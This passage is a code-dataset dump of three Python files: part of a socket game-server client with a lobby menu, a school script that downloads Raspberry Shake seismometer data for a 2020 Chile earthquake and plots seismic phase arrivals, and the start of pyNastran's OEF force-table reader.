self.exchangeServer(self.PORT) # would this work if it's disconnecting from nothing?\n\n def start(self):\n self.exchangeServer(2000)\n\n# - your own code after here! -\n'''\nclient = Client(socket.gethostname(), 2000)\n# just make ^that^ object (with right server and port) and u can do server-client stuff\nclient.start() # you can put this wherever u like\n\n# i'm doing a basic menu to showcase entering and leaving the server via ServerManager\ndef choiceMaker(options):\n print(f\"You have {len(options)} options:\")\n i = 0\n for o in options:\n i += 1\n print(f\"\\t{i}. {o}\")\n option = input(\"enter your option: \")\n try:\n option = int(option)\n except:\n option = 0\n return option\n\ndef lobby():\n option = choiceMaker([\"Create a server\", \"Join a server\"])\n\n if option == 1:\n print(\"creating server...\")\n client.send_create_server_request()\n elif option == 2:\n print(\"joining server... \")\n client.send_join_server_request(input(\"enter the key for that server: \"))\n else:\n print(\"invalid option - leaving lobby.\")\n client.disconnect()\n\n time.sleep(3)\n\ndef game():\n text = input(\"type whatever u want: \")\n # if u type !backtolobby, it runs exchangeServer(2000)?\n if text == \"!leave\":\n client.exchangeServer(client.PORT)\n else:\n client.send_to_server(text)\n\n time.sleep(3)\n\nwhile client.connected:\n if client.IN_GAME:\n game()\n else:\n lobby()\n\n# honestly not proud of the use of time.sleep to wait for thread to die and messages to send.\n'''\n","sub_path":"Server/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":6167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"139106768","text":"#!/usr/bin/env python\r\n\r\n\"\"\"\r\nScript to download and plot RaspberryShake station data\r\nAlso computes and plots theoretical phase arrival times\r\n\r\nSee https://docs.obspy.org/packages/obspy.taup.html for more info on \r\nEarth models and phase-naming nomenclature.\r\n\r\nCopy this file and ShakeNetwork2020.csv into the same folder\r\n\r\nMark Vanstone\r\nTruro School, Cornwall\r\nFeb 2020\r\n\"\"\"\r\nfrom obspy.clients.fdsn import Client\r\nfrom obspy import UTCDateTime, Stream, read, read_inventory\r\nfrom obspy.taup import TauPyModel\r\nfrom obspy.geodetics.base import locations2degrees\r\nfrom matplotlib.transforms import blended_transform_factory\r\nfrom os import path\r\nimport matplotlib.pyplot as plt\r\nfrom geopy.geocoders import Nominatim\r\nimport numpy as np\r\nfrom matplotlib.cm import get_cmap\r\nfrom obspy.geodetics import gps2dist_azimuth\r\nDATA_PROVIDER = \"RASPISHAKE\"\r\n\r\nclient=Client(DATA_PROVIDER)\r\n\r\n# EQ details and paramaters for data selection and plotting\r\nURL = 'https://earthquake.usgs.gov/earthquakes/eventpage/us6000a4yi/executive'\r\nEQNAME = 'M6.8 - San Pedro de Atacama, Chile'\r\nEQLAT = -23.2955\r\nEQLON = -68.4217\r\nEQZ = 96.84\r\nEQTIME = '2020-06-03T07:35:34.844Z'\r\nFILE_STEM = 'Chile-2020-06-03'\r\nMAGNITUDE = \"M 6.8\"\r\n\r\nDECIMATION = 1 # decimation factor, can be up to 15 to keep 1 sample point in every 15, reduces memory usage on computer\r\n# Things to change once for your station\r\nNETWORK = 'AM' # AM = RaspberryShake network\r\nSTATION = \"R7FA5\" # Station code of local station to plot\r\nSTA_LAT = 50.2609 # Latitude of local station \r\nSTA_LON = -5.0434 # Longitude of local station\r\nCHANNEL = 'EHZ' # channel to grab data for (e.g. EHZ, SHZ, EHE, EHN)\r\nfound_home = False\r\n# configuration of the section plot\r\nDURATION = 1500 # Length in seconds of data to plot after origin time\r\nTDOWNLOAD = 1800 # data length to download and write to file\r\nMIN_DIST = 0 # minimum distance for a seismometer in degrees\r\nMAX_DIST = 180 # maximum distance in degrees\r\nSTEP = 0.75 # step in degrees between seismometers\r\nANGLE_DX = 10 # angle between tick marks on x-axis of section\r\nPHASES = sorted([\"P\", \"pP\", \"PP\", \"S\", \"Pdiff\", \"PKP\", \"PKIKP\", \"PcP\", \"ScP\", \"ScS\", \"PKiKP\", \"pPKiKP\", \"SKiKP\", \"SKP\", \"SKS\", \"sP\"]) # list of phases for which to compute theoretical times\r\n\r\nPHASE_PLOT = \"spots\" # choose lines or spots for phases\r\nDPI = 80 # dpi for plot\r\nFIG_SIZE = (1920/DPI, 1080/DPI) # size of figure in inches. Slightly bigger than PLOT_SIZE\r\nPLOT_SIZE = (FIG_SIZE[0]*DPI*0.75,FIG_SIZE[1]*DPI*0.75) # plot size in pixels with borders for labels\r\nF1 = 0.9 # High-pass filter corner for seismometers up to 90 degrees\r\nF2 = 3.0 # Low-pass filter corner \r\nF3 = 0.9 # High-pass filter corner for seismometers from 90 degrees\r\nF4 = 2.5 # Low-pass filter corner \r\nMODEL = 'iasp91' # Velocity model to predict travel-times through\r\n#MODEL = 'ak135' # Velocity model to predict travel-times through\r\n\r\nEXCLUDE=['RB305','R25AC','R64DA','RFD01','R25AC','R79D5','RE81A','R7363','R04C9','RCD29','RA71B','R0BEF','R50BE','RD2D3','RBD5C']\r\nEXCLUDE+=['R2683','R2323','R623F','R51F6','RC131','RBA56','R328C','R2370','R3F1B','R5FE9','RE1CC','RE684','RDE9F','RDEE3','R2FF2']\r\nEXCLUDE+=['R2F34','RFB1A','R95B0','R359E','R5C4C','R5D53','RCE32', 'R10DB','R1E9D','RF212','RBF42','R03D7','R8D5C','S4458','R21C3']\r\nEXCLUDE+=['RBF59','R2547','R24AE','RAA7F','R1033','R06C4','R8118','R77AA','R3CC7','RB7BB','R9AC0','R4186','R5A10','R1B4E','RF082']\r\nEXCLUDE+=['RBFE8','RFCBE','R0128','RD897','R0ODC','R00DC','RO0DC', 'R8FE8','RA666','R8A6C','R21E0','R617F','RB822','R013B']\r\nEXCLUDE+=['R7BC1','R7A15','REA0F','R4A43','R4F38','R62B3','RB9CC','RD184','RBD3F','RCB48','RC848','R00A4','RF7E5','R2E8D','RAC91']\r\nEXCLUDE+=['RC574','R9CDF','RA877','R8C2E','R2942','R3DD0','R9627','RFE9F','R86F8','R3EE8','S63B4','RBE3F','S1822','RE4AA','R240F']\r\n\r\nNETWORK_DATA = \"ShakeNetwork2020.csv\" # data file containing seismometer names and locations, different format to 2019 data\r\nGLOBE_PHASES = sorted([\r\n # Phase, distance\r\n ('P', 26),\r\n ('PP', 60),\r\n ('pP', 45),\r\n ('PcP', 80),\r\n ('PKIKP', 150),\r\n ('PKiKP', 100),\r\n ('S', 65),\r\n ('sP', -30),\r\n ('ScS', -60),\r\n ('SKS', -82),\r\n ('ScP', -40),\r\n ('Pdiff', -120),\r\n ('PKP', -160),\r\n ('SKiKP', -100),\r\n ('SKP', -140)\r\n])\r\n# Calculated constants\r\nSTA_DIST = locations2degrees(EQLAT, EQLON, STA_LAT, STA_LON) # distance to local station\r\nEQLATLON = (EQLAT, EQLON)\r\nBUFFER = 60 # time before and after plot for taper data\r\nSTART_TIME=UTCDateTime(EQTIME)\r\nEND_TIME=START_TIME+DURATION\r\n# Pretty paired colors. Reorder to have saturated colors first and remove\r\n# some colors at the end. This cmap is compatible with obspy taup\r\ncmap = get_cmap('Paired', lut=12)\r\nCOLORS = ['#%02x%02x%02x' % tuple(int(col * 255) for col in cmap(i)[:3]) for i in range(12)]\r\nCOLORS = COLORS[1:][::2][:-1] + COLORS[::2][:-1]\r\n#COLORS = [ cm.plasma(x) for x in linspace(0, 0.8, len(PHASES)) ] # colours from 0.8-1.0 are not very visible\r\n# End of parameters to define\r\n\r\n# utility subroutines for data handling and plotting\r\ndef plottext(xtxt, ytxt, phase, vertical, horizontal, color, textlist):\r\n clash = True\r\n while clash == True:\r\n clash = False\r\n for i in range(len(textlist)):\r\n while textlist[i][0] > (xtxt - 3) and textlist[i][0] < (xtxt + 3) and textlist[i][1] > (ytxt - 24) and textlist[i][1] < (ytxt + 24):\r\n clash = True\r\n ytxt -= 2\r\n plt.text(xtxt, ytxt, phase, verticalalignment=vertical, horizontalalignment=horizontal, color=color, fontsize=10)\r\n textlist.append((xtxt, ytxt))\r\n\r\ndef parse(string):\r\n out = [\"\"]\r\n counter = 0\r\n for l in string:\r\n if l.upper() in \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.:-,\":\r\n if ord(l) == 44:\r\n counter += 1\r\n out.append(\"\")\r\n else:\r\n out[counter] += l\r\n return out\r\n\r\n# Function to read a file using the context manager\r\ndef readFile(networkdata):\r\n # Read list of lines\r\n out = [] # list to save lines\r\n with open (networkdata, \"r\") as rd:\r\n # Read lines in loop\r\n for line in rd:\r\n # All lines (besides the last) will include newline, so strip it\r\n out.append(parse(line.strip()))\r\n return out\r\n\r\ndef justnum(string):\r\n out = \"\"\r\n for l in string:\r\n if l in \"0123456789\":\r\n out += l\r\n return out\r\n\r\ndef nospaces(string):\r\n out = \"\"\r\n for l in string.upper():\r\n if l in \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\":\r\n out += l\r\n else:\r\n out += \"_\"\r\n return out\r\n\r\n# Process seismic data\r\n# Get the list of seismometers from file and sort them\r\nallStations = readFile(NETWORK_DATA) # changed to work with 2020 stations list from http://www.fdsn.org/networks/detail/AM/\r\n# work out the distance of each seismometer from the epicentre and sort the list by distance from event\r\nseismometers = [] # empty list of seismometers\r\nfor station in allStations:\r\n if station[2] != \"Latitude\": # ignore the header line\r\n distance = locations2degrees(EQLAT, EQLON, float(station[2]), float(station[3]))\r\n if (distance <= MAX_DIST and distance >= MIN_DIST and station[0] not in EXCLUDE):\r\n seismometers.append([station[0], round(float(station[2]),4), round(float(station[3]),4), round(distance,4)])\r\nseismometers.sort(key = lambda i: i[3]) # Contains 'Code', Latitude, Longitude, distance (degrees), sort by distance\r\n\r\n# read in seismic traces\r\nwaveform = Stream() # set up a blank stream variable\r\nloaded = []\r\ndist = 0 # record of how far away the next seismometer is that we are looking for\r\nreadit = False # flag to say that we have successfully read the data\r\nloaded_stations = [] # list of stations successfully loaded\r\nfiltertext1 = \"\"\r\nfiltertext2 = \"\"\r\n\r\ngeolocator = Nominatim(user_agent=\"Raspberry Shake section plotter\") # tool for getting place names\r\nfp = open(FILE_STEM+\"_stations.txt\", \"w\")\r\nfor station in seismometers:\r\n distAB, azAB, azBA = gps2dist_azimuth(station[1], station[2], EQLAT, EQLON) # Station dist in m from epicentre\r\n if station[0] == STATION or ((not((station[3] > STA_DIST-STEP) and (station[3] < STA_DIST+STEP))) and station[3] >= dist):\r\n # read in Raspberry Shake\r\n # Use file if it is there\r\n try:\r\n fileflag = \"N\"\r\n infile = \"../\" + FILE_STEM + \"/\"+station[0]+\".mseed\"\r\n invfile = \"../\" + FILE_STEM + \"/\"+station[0]+\".xml\"\r\n errfile = \"../\"+FILE_STEM+\"/\"+station[0]+\".error\"\r\n if path.isfile(infile) and path.isfile(invfile):\r\n if path.getsize(infile) > 0 and path.getsize(invfile) > 0:\r\n st = read(infile)\r\n inventory = read_inventory(invfile)\r\n fileflag = \"F\"\r\n except:\r\n print(\"Failed to read file\")\r\n # If file has not been loaded and there is no error file, download data\r\n if fileflag == \"N\" and not path.isfile(errfile):\r\n try:\r\n # Download and filter data\r\n st = client.get_waveforms(NETWORK, station[0], \"00\", CHANNEL, starttime=START_TIME-BUFFER, endtime=START_TIME+TDOWNLOAD+BUFFER,attach_response=True)\r\n inventory = read_inventory('https://fdsnws.raspberryshakedata.com/fdsnws/station/1/query?network=AM&station=%s&level=resp&format=xml&nodata=404&starttime=%s' % (station[0], str(START_TIME)))\r\n fileflag = \"D\"\r\n st.merge(method=0, fill_value='latest')\r\n st.write(infile, format='MSEED')\r\n inventory.write(invfile, format=\"STATIONXML\")\r\n except:\r\n print(\"Failed to download trace \" + station[0])\r\n # in the case that either a file has been loaded or trace downloaded \r\n if fileflag != \"N\":\r\n try:\r\n st.detrend(type='demean')\r\n pre_filt = [0.001, 0.005, 45, 50]\r\n st.remove_response(inventory=inventory, pre_filt=pre_filt,output=\"DISP\",water_level=60,taper=True)#, plot=True)\r\n if station[3] <= 90:\r\n st.filter('bandpass', freqmin=F1, freqmax=F2)\r\n filtertext1 = \"Bandpass Filter: freqmin=\"+str(F1)+\", freqmax=\"+str(F2)+\" at up to 90 degrees.\"\r\n else:\r\n st.filter('bandpass', freqmin=F3, freqmax=F4)\r\n filtertext2 = \"Bandpass Filter: freqmin=\"+str(F3)+\", freqmax=\"+str(F4)+\" at greater than 90 degrees.\"\r\n st.decimate(DECIMATION)\r\n test = st.slice(START_TIME, END_TIME)\r\n if len(test[0]) > 0:\r\n if station[0] == STATION: # make an additional copy to blacken plot\r\n waveform += st.slice(START_TIME, END_TIME) \r\n loaded_stations.append(station)\r\n loaded.append(station)\r\n sta_x = len(loaded_stations)-1\r\n found_home = True\r\n waveform += st.slice(START_TIME, END_TIME)\r\n outstring = str(station[1])+\"\\t\"+str(station[2])+\"\\t\"+str(station[3])+\"\\t\"+str(abs(waveform[-1].max()))+\"\\t\"+ station[0]+ \"\\t\"+str( distAB)+ \"\\t\"+str( azAB) + \"\\t\" +str( azBA) + \"\\n\" \r\n fp.write(outstring)\r\n print(fileflag + \"\\t\" + outstring, end=\"\")\r\n readit = True\r\n except:\r\n print(\"Failed to remove response \" + station[0])\r\n else:\r\n readit = False\r\n \r\n if readit == False:\r\n ef = open(errfile, \"w\")\r\n ef.write(\"Error reading file\")\r\n ef.close()\r\n \r\n if readit == True:\r\n # locate the seismometer and add this to the station record\r\n try:\r\n location = geolocator.reverse(str(station[1]) + \", \" + str(station[2]))\r\n address_list = location.address.split(\",\")\r\n if len(address_list) > 4:\r\n address = \",\".join(address_list[-1*(len(address_list)-2):]).strip() # remove the two most specific parts\r\n else:\r\n address = \",\".join(address_list[:]).strip() # use the whole address\r\n except:\r\n address = \"Unknown\"\r\n station.append(address)\r\n loaded_stations.append(station)\r\n loaded.append(station) # Add the details of loaded seismometers to the loaded list\r\n readit = False\r\n if dist <= station[3]:\r\n dist = station[3] + STEP\r\n \r\nfp.close()\r\nif len(waveform) == len(loaded_stations):\r\n# add station details to the waveforms and print out the details for interest\r\n opfile = open(nospaces(FILE_STEM)+'-Stations.txt', \"w\")\r\n for y in range(len(waveform)):\r\n waveform[y].stats[\"coordinates\"] = {} # add the coordinates to the dictionary, needed for the section plot\r\n waveform[y].stats[\"coordinates\"][\"latitude\"] = loaded_stations[y][1]\r\n waveform[y].stats[\"coordinates\"][\"longitude\"] = loaded_stations[y][2]\r\n waveform[y].stats[\"distance\"] = loaded_stations[y][3]\r\n # Set the abbreviated name of the location in the network field for the plot title\r\n waveform[y].stats.network = NETWORK\r\n waveform[y].stats.station = loaded_stations[y][0]\r\n\r\n waveform[y].stats.location = loaded_stations[y][4]\r\n waveform[y].stats.channel = CHANNEL\r\n # opfile.write(\"--------------------------------------------------------------------------------------------------------\\n\")\r\n try:\r\n opfile.write(str(y) + \" \" + loaded_stations[y][0] + \" Lat: \" + str(loaded_stations[y][1]) + \" Lon: \" + str(loaded_stations[y][2]) + \" Dist: \" +\r\n str(loaded_stations[y][3]) + \" degrees, Address: \" + loaded_stations[y][4] + \"\\n\")\r\n except:\r\n opfile.write(str(y) + \" \" + loaded_stations[y][0] + \" Lat: \" + str(loaded_stations[y][1]) + \" Lon: \" + str(loaded_stations[y][2]) + \" Dist: \" +\r\n str(loaded_stations[y][3]) + \" degrees, Address: Not writable \\n\")\r\n print(\"--------------------------------------------------------------------------------------------------------\")\r\n print(loaded_stations[y][0], \"Lat:\", loaded_stations[y][1], \"Lon:\", loaded_stations[y][2], \"Dist:\",\r\n loaded_stations[y][3], \"degrees, Address:\", loaded_stations[y][4])\r\n print(\"\\n\", waveform[y].stats, \"\\n\")\r\n opfile.close()\r\n\r\n# Create the section plot..\r\n fig = plt.figure(figsize=FIG_SIZE, dpi=DPI)\r\n plt.title('Section plot for '+FILE_STEM+' '+EQTIME+\" lat:\"+str(EQLAT)+\" lon:\"+str(EQLON), fontsize=12, y=1.07)\r\n # set up the plot area\r\n plt.xlabel(\"Angle (degrees)\")\r\n plt.ylabel(\"Elapsed time (seconds)\")\r\n plt.suptitle(\"Modelled arrival times for phases using \" + MODEL + \" with a focal depth of \" + str(EQZ) + \"km\", fontsize=10)\r\n # plot the waveforms\r\n waveform.plot(size=PLOT_SIZE, type='section', recordlength=DURATION, linewidth=1.5, grid_linewidth=.5, show=False, fig=fig, color='black', method='full', starttime=START_TIME, plot_dx=ANGLE_DX, ev_coord = EQLATLON, dist_degree=True, alpha=0.50, time_down=True)\r\n ax = fig.axes[0]\r\n transform = blended_transform_factory(ax.transData, ax.transAxes)\r\n for tr in waveform:\r\n ax.text(float(tr.stats.distance), 1.0, tr.stats.station, rotation=270,\r\n va=\"bottom\", ha=\"center\", transform=transform, zorder=10, fontsize=8)\r\n # Add the local station name in red\r\n if found_home == True:\r\n ax.text(float(waveform[sta_x].stats.distance), 1.0, waveform[sta_x].stats.station, rotation=270,\r\n va=\"bottom\", ha=\"center\", transform=transform, zorder=10, fontsize=8, color = 'red')\r\n\r\n # print out the filters that have been used\r\n plt.text(0, DURATION *1.05, filtertext1)\r\n plt.text(0, DURATION *1.07, filtertext2)\r\n\r\n# Print the coloured phases over the seismic section\r\n textlist = [] # list of text on plot, to avoid over-writing\r\n for j, phase in enumerate(PHASES):\r\n color = COLORS[PHASES.index(phase) % len(COLORS)]\r\n x=[]\r\n y=[]\r\n model = TauPyModel(model=MODEL)\r\n for dist in range(MIN_DIST, MAX_DIST+1, 1): # calculate and plot one point for each degree from 0-180\r\n arrivals = model.get_travel_times(source_depth_in_km=EQZ,distance_in_degree=dist, phase_list=[phase])\r\n printed = False\r\n for i in range(len(arrivals)):\r\n instring = str(arrivals[i])\r\n phaseline = instring.split(\" \")\r\n if phaseline[0] == phase and printed == False and int(dist) > 0 and int(dist) < 180 and float(phaseline[4])>0 and float(phaseline[4]) 0 and len(y) > 0: # this function prevents text being overwritten\r\n plottext(x[0], y[0], phase, 'top', 'right', color, textlist)\r\n plottext(x[len(x)-1], y[len(y)-1], phase, 'top', 'left', color, textlist)\r\n \r\n# Add the inset picture of the globe at x, y, width, height, as a fraction of the parent plot\r\n ax1 = fig.add_axes([0.63, 0.48, 0.4, 0.4], polar=True)\r\n # Plot all pre-determined phases\r\n for phase, distance in GLOBE_PHASES:\r\n arrivals = model.get_ray_paths(EQZ, distance, phase_list=[phase])\r\n ax1 = arrivals.plot_rays(plot_type='spherical',\r\n legend=False, label_arrivals=False,\r\n plot_all=True, phase_list = PHASES,\r\n show=False, ax=ax1)\r\n \r\n # Annotate regions of the globe\r\n ax1.text(0, 0, 'Solid\\ninner\\ncore',\r\n horizontalalignment='center', verticalalignment='center',\r\n bbox=dict(facecolor='white', edgecolor='none', alpha=0.7))\r\n ocr = (model.model.radius_of_planet -\r\n (model.model.s_mod.v_mod.iocb_depth +\r\n model.model.s_mod.v_mod.cmb_depth) / 2)\r\n ax1.text(np.deg2rad(180), ocr, 'Fluid outer core',\r\n horizontalalignment='center',\r\n bbox=dict(facecolor='white', edgecolor='none', alpha=0.7))\r\n mr = model.model.radius_of_planet - model.model.s_mod.v_mod.cmb_depth / 2\r\n ax1.text(np.deg2rad(180), mr, 'Solid mantle',\r\n horizontalalignment='center',\r\n bbox=dict(facecolor='white', edgecolor='none', alpha=0.7))\r\n rad = model.model.radius_of_planet*1.15\r\n for phase in GLOBE_PHASES:\r\n ax1.text(np.deg2rad(phase[1]), rad, phase[0],\r\n horizontalalignment='center',\r\n bbox=dict(facecolor='white', edgecolor='none', alpha=0))\r\n\r\n# Save the plot to file, then print to screen\r\n plt.savefig(nospaces(FILE_STEM)+'-Section.png')\r\n plt.show()\r\n\r\n# report an error if the number of seismometers does not match the number of waveforms\r\nelse:\r\n print(\"Number of waveforms does not match number of seismometers, a seismometer may not have data in the required range\")\r\n print(len(waveform), \"waveforms\", len(seismometers), \"seismometers\")","sub_path":"L16 - Chile-section-model-lines-2020-06-03.py","file_name":"L16 - Chile-section-model-lines-2020-06-03.py","file_ext":"py","file_size_in_byte":19413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"429292406","text":"#pylint: disable=C0111,C0301,C0326,C0103\nfrom six.moves import range\nfrom struct import Struct\n\nfrom pyNastran.op2.op2_helper import polar_to_real_imag\nfrom pyNastran.op2.op2_common import OP2Common\n\nfrom pyNastran.op2.tables.oef_forces.oef_thermalObjects import (HeatFlux_CHBDYx, HeatFlux_2D_3D, HeatFlux_1D,\n HeatFlux_VU, HeatFlux_VUBEAM, HeatFlux_VU_3D,\n HeatFlux_CONV)\nfrom pyNastran.op2.tables.oef_forces.oef_forceObjects import (\n RealRodForce, RealRodForceArray,\n RealCBeamForce, RealCShearForce,\n RealSpringForce, RealDamperForce, RealViscForce,\n RealPlateForce, RealPlateForceArray,\n RealConeAxForce, RealPlate2Force,\n RealCBar100Force, RealCGapForce, RealBendForce,\n RealPentaPressureForce, RealCBushForce,\n RealForce_VU_2D, RealCBarForce, RealForce_VU)\nfrom pyNastran.op2.tables.oef_forces.oef_complexForceObjects import (\n ComplexRodForce, ComplexCBeamForce,\n ComplexCShearForce, ComplexSpringForce,\n ComplexDamperForce, ComplexViscForce,\n ComplexPlateForce, ComplexPlate2Force,\n ComplexBendForce,\n ComplexPentaPressureForce,\n ComplexCBushForce, ComplexForce_VU_2D,\n ComplexCBarForce, ComplexForce_VU)\n\n\nclass OEF(OP2Common):\n def __init__(self):\n OP2Common.__init__(self)\n\n def OEF_ForceCode(self):\n \"\"\"\n Gets the numwide codes for the element to determine if\n the real or complex result should be found.\n The format and sort codes do not always give the right answer...\n \"\"\"\n realMapper = {\n 1: 3, # CROD\n 2: 1 + (10 - 1) * 11, # CBEAM\n 3: 3, # CTUBE\n 4: 17, # CSHEAR\n 10: 3, # CONROD\n 11: 2, # CELAS1\n 12: 2, # CELAS2\n 13: 2, # CELAS3\n 14: 2, # CELAS4\n\n 20: 2, # CDAMP1\n 21: 2, # CDAMP2\n 22: 2, # CDAMP3\n 23: 2, # CDAMP4\n 24: 3, # CVISC\n 33: 9, # CQUAD4\n 34: 9, # CBAR\n 35: 7, # CCONEAX\n 38: 9, # CGAP\n 40: 8, # CBUSH1D ???\n 64: 2 + (11 - 2) * 5, # CQUAD8\n 69: 1 + (8 - 1) * 2, # CBEND\n 70: 2 + (11 - 2) * 4, # CTRIAR\n 74: 9, # CTRIA3\n 75: 2 + (11 - 2) * 4, # CTRIA6\n\n\n #76: 16, # Acoustic Velocity/Pressure CHEXA ???\n 76: None, # dummy so it doesnt go into the real results\n 77: 10, # Acoustic Velocity/Pressure CPENTA\n 78: 10, # Acoustic Velocity/Pressure CTETRA\n\n 82: 2 + (11 - 2) * 5, # CQUADR\n 95: 9, # composite CQUAD4 ???\n 96: 9, # composite CQUAD8 ???\n 97: 9, # composite CTRIA3 ???\n 98: 9, # composite CTRIA6 ???\n 100: 8, # BARS\n 102: 7, # CBUSH\n 144: 2 + (11 - 2) * 5, # bilinear CQUAD4\n 189: 6 + (19 - 6) * 4, # VUQUAD\n 190: 6 + (19 - 6) * 3, # VUTRIA\n 191: 4 + (12 - 4) * 2, # VUBEAM\n 200: 9, # CWELD\n 232: 9, # composite CQUADR ???\n 233: 9, # composite TRIAR ???\n 235: 9, # punch CQUADR...num_wide in DMAP is wrong...left out first entry...\n 236: 8, # punch CTRIAR\n }\n imagMapper = {\n 1: 5, # CROD\n 2: 1 + (17 - 1) * 11, # CBEAM\n 3: 5, # CTUBE\n 4: 33, # CSHEAR\n 10: 5, # CONROD\n\n 11: 3, # CELAS1\n 12: 3, # CELAS2\n 13: 3, # CELAS3\n 14: 3, # CELAS4\n\n 20: 3, # CDAMP1\n 21: 3, # CDAMP2\n 22: 3, # CDAMP3\n 23: 3, # CDAMP4\n 24: 5, # CVISC\n 33: 17, # CQUAD4\n 34: 17, # CBAR\n 35: 7, # CCONEAX # needed to not crash the code...\n 38: 9, # CGAP\n 40: 8, # CBUSH1D ???\n 64: 2 + (19 - 2) * 5, # CQUAD8\n 69: 1 + (14 - 1) * 2, # CBEND\n 70: 2 + (19 - 2) * 4, # CTRIAR\n 74: 17, # CTRIA3\n 75: 2 + (19 - 2) * 4, # CTRIA6\n\n 76: 16, # Acoustic Velocity/Pressure CHEXA_PR\n 77: 16, # Acoustic Velocity/Pressure CPENTA_PR\n 78: 16, # Acoustic Velocity/Pressure CTETRA_PR\n\n 82: 2 + (19 - 2) * 5, # CQUADR\n 95: 9, # composite CQUAD4 ???\n 96: 9, # composite CQUAD8 ???\n 97: 9, # composite CTRIA3 ???\n 98: 9, # composite CTRIA6 ???\n 100: 14, # BARS\n 102: 13, # CBUSH\n 144: 2 + (19 - 2) * 5, # bilinear CQUAD4\n 189: 6 + (31 - 6) * 4, # VUQUAD\n 190: 6 + (31 - 6) * 3, # VUTRIA\n 191: 4 + (18 - 4) * 2, # VUBEAM\n 200: 17, # CWELD\n 232: 9, # composite CQUADR ???\n 233: 9, # composite TRIAR ???\n 235: 17, # punch CQUADR...num_wide in DMAP is wrong...left out first entry...\n 236: 16, # punch CTRIAR\n }\n try:\n real = realMapper[self.element_type]\n except KeyError:\n real = None\n\n try:\n imag = imagMapper[self.element_type]\n except KeyError:\n imag = None\n return (real, imag)\n\n def _read_oef1_3(self, data):\n self.words = ['aCode', 'tCode', 'element_type', 'isubcase',\n '???', '???', '???', '???',\n 'format_code', 'num_wide', 'o_code', '???',\n '???', '???', '???', '???',\n '???', '???', '???', '???',\n '???', '???', '???', '???',\n '???', 'Title', 'subtitle', 'label']\n\n self.parse_approach_code(data)\n\n #: element type\n self.element_type = self.add_data_parameter( data, 'element_type', 'i', 3, False)\n\n # dynamic load set ID/random code\n #self.dLoadID = self.add_data_parameter(data, 'dLoadID', 'i', 8, False)\n\n #: format code\n self.format_code = self.add_data_parameter( data, 'format_code', 'i', 9, False)\n\n #: number of words per entry in record\n #: .. note: is this needed for this table ???\n self.num_wide = self.add_data_parameter(data, 'num_wide', 'i', 10, False)\n\n #: undefined in DMAP...\n self.o_code = self.add_data_parameter(data, 'o_code', 'i', 11, False)\n\n #: thermal flag; 1 for heat ransfer, 0 otherwise\n self.thermal = self.add_data_parameter(data, 'thermal', 'i', 23, False)\n\n ## assuming tCode=1\n if self.analysis_code == 1: # statics\n self.loadID = self.add_data_parameter(data, 'loadID', 'i', 5, False) # load set ID number\n self.dataNames = self.apply_data_code_value('dataNames', ['loadID'])\n self.setNullNonlinearFactor()\n elif self.analysis_code == 2: # normal modes/buckling (real eigenvalues)\n #: mode number\n self.mode = self.add_data_parameter(data, 'mode', 'i', 5)\n #: eigenvalue\n self.eigr = self.add_data_parameter(data, 'eigr', 'f', 6, False)\n self.dataNames = self.apply_data_code_value('dataNames', ['mode', 'eigr'])\n # TODO: mode_cycle is not defined?\n #self.dataNames = self.apply_data_code_value('dataNames', ['mode', 'eigr', 'mode_cycle'])\n elif self.analysis_code == 3: # differential stiffness 0\n #: load set ID number\n self.loadID = self.add_data_parameter(data, 'loadID', 'i', 5)\n self.dataNames = self.apply_data_code_value('dataNames', ['loadID'])\n elif self.analysis_code == 4: # differential stiffness 1\n #: load set ID number\n self.loadID = self.add_data_parameter(data, 'loadID', 'i', 5)\n self.dataNames = self.apply_data_code_value('dataNames', ['loadID'])\n elif self.analysis_code == 5: # frequency\n self.freq = self.add_data_parameter(data, 'freq', 'f', 5) # frequency\n self.dataNames = self.apply_data_code_value('dataNames', ['freq'])\n elif self.analysis_code == 6: # transient\n self.time = self.add_data_parameter(data, 'time', 'f', 5) # time step\n self.dataNames = self.apply_data_code_value('dataNames', ['time'])\n elif self.analysis_code == 7: # pre-buckling\n #: load set ID number\n self.loadID = self.add_data_parameter(data, 'loadID', 'i', 5)\n #self.apply_data_code_value('dataNames',['lsdvmn'])\n self.dataNames = self.apply_data_code_value('dataNames', ['loadID'])\n elif self.analysis_code == 8: # post-buckling\n #: load set ID number\n self.loadID = self.add_data_parameter(data, 'loadID', 'i', 5)\n #: real eigenvalue\n self.eigr = self.add_data_parameter( data, 'eigr', 'f', 6, False)\n self.dataNames = self.apply_data_code_value('dataNames', ['loadID', 'eigr'])\n elif self.analysis_code == 9: # complex eigenvalues\n #: mode number\n self.mode = self.add_data_parameter(data, 'mode', 'i', 5)\n #: real eigenvalue\n self.eigr = self.add_data_parameter(data, 'eigr', 'f', 6, False)\n #: imaginary eigenvalue\n self.eigi = self.add_data_parameter(data, 'eigi', 'f', 7, False)\n self.dataNames = self.apply_data_code_value('dataNames', ['mode', 'eigr', 'eigi'])\n elif self.analysis_code == 10: # nonlinear statics\n #: load step\n self.load_step = self.add_data_parameter(data, 'load_step', 'f', 5)\n self.dataNames = self.apply_data_code_value('dataNames', ['load_step'])\n elif self.analysis_code == 11: # geometric nonlinear statics\n #: load set ID number\n self.loadID = self.add_data_parameter(data, 'loadID', 'i', 5)\n self.dataNames = self.apply_data_code_value('dataNames', ['loadID'])\n else:\n raise RuntimeError('invalid analysis_code...analysis_code=%s' % str(self.analysis_code))\n\n self.element_name = self.element_mapper[self.element_type]\n self.data_code['element_name'] = self.element_name\n\n if self.debug:\n self.binary_debug.write(' element_name = %r\\n' % self.element_name)\n self.binary_debug.write(' approach_code = %r\\n' % self.approach_code)\n self.binary_debug.write(' tCode = %r\\n' % self.tCode)\n self.binary_debug.write(' isubcase = %r\\n' % self.isubcase)\n\n self._read_title(data)\n if self.element_type not in self.element_mapper:\n msg = 'element_type = %s' % self.element_type\n return self._not_implemented_or_skip(data, msg)\n self._write_debug_bits()\n\n def _read_oef2_3(self, data):\n pass\n\n def _read_oef1_4(self, data):\n if self.thermal == 0:\n n = self._read_oef1_loads(data)\n elif self.thermal == 1:\n n = self._read_oef1_thermal(data)\n else:\n n = self._not_implemented_or_skip(data, 'thermal=%s' % self.thermal)\n return n\n\n def _read_oef1_thermal(self, data):\n if self.read_mode == 1:\n return len(data)\n if 'element_forces' not in 